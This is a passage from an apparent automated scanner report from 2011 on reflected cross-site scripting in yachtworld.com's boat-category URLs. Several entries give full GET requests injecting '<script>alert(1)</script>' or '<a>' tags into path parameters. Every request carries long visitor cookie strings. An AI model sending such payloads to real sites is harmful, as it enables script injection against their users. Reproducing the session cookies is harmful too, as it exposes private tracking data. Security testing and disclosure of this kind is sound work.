s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97a4d"><script>alert(1)</script>f60a43e4d8c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Luhrs/197a4d"><script>alert(1)</script>f60a43e4d8c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:54 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 111bb"><script>alert(1)</script>7f05fb0b328 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type111bb"><script>alert(1)</script>7f05fb0b328/Mainship/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65bea"><a>df426e6317b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Mainship65bea"><a>df426e6317b/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acdd3"><script>alert(1)</script>dca333328d7 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Mainship/1acdd3"><script>alert(1)</script>dca333328d7 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:08 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6091e"><script>alert(1)</script>d0b967e7095 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type6091e"><script>alert(1)</script>d0b967e7095/Maxum/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:54 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e4dd"><a>5f3a0108965 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Maxum4e4dd"><a>5f3a0108965/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; 